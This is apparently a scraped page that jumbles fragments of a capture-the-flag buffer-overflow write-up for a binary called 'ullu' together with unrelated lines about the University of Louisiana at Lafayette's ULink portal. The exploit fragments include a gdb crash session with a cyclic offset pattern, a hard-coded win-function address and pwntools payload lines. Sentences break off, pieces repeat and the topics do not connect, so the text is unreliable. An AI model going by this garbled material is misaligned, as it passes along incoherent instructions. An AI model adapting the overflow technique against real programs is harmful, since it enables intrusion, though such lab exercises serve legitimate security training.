Ullulink
Using the pattern value (e.g., 0x6161616161616161 ), we can calculate the offset. Alternatively, since the buffer is char buffer[64] , the layout on a 64-bit system usually looks like:
Opening the binary in a disassembler (like Ghidra or IDA Pro) and looking at the main function:
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# Send the payload p.sendline(payload)
Understanding ULink: The University of Louisiana at Lafayette’s Digital Hub
$ gdb ./ullu (gdb) run < <(cyclic 100) ... Segmentation fault (core dumped) (gdb) x/i $rip => 0x4011ab <main+89>: ret (gdb) x/gx $rsp 0x7fffffffe498: 0x6161616161616161 (example pattern value)
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We construct a Python script using pwntools to exploit the binary.
The binary is a 64-bit ELF, dynamically linked, and (meaning function symbols are available, making analysis easier). Using the pattern value (e
New users must activate their account using the Password Management Utility .
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# Address of the win function win_addr = 0x401156 Segmentation fault (core dumped) (gdb) x/i $rip =>
void main(void) char buffer[64];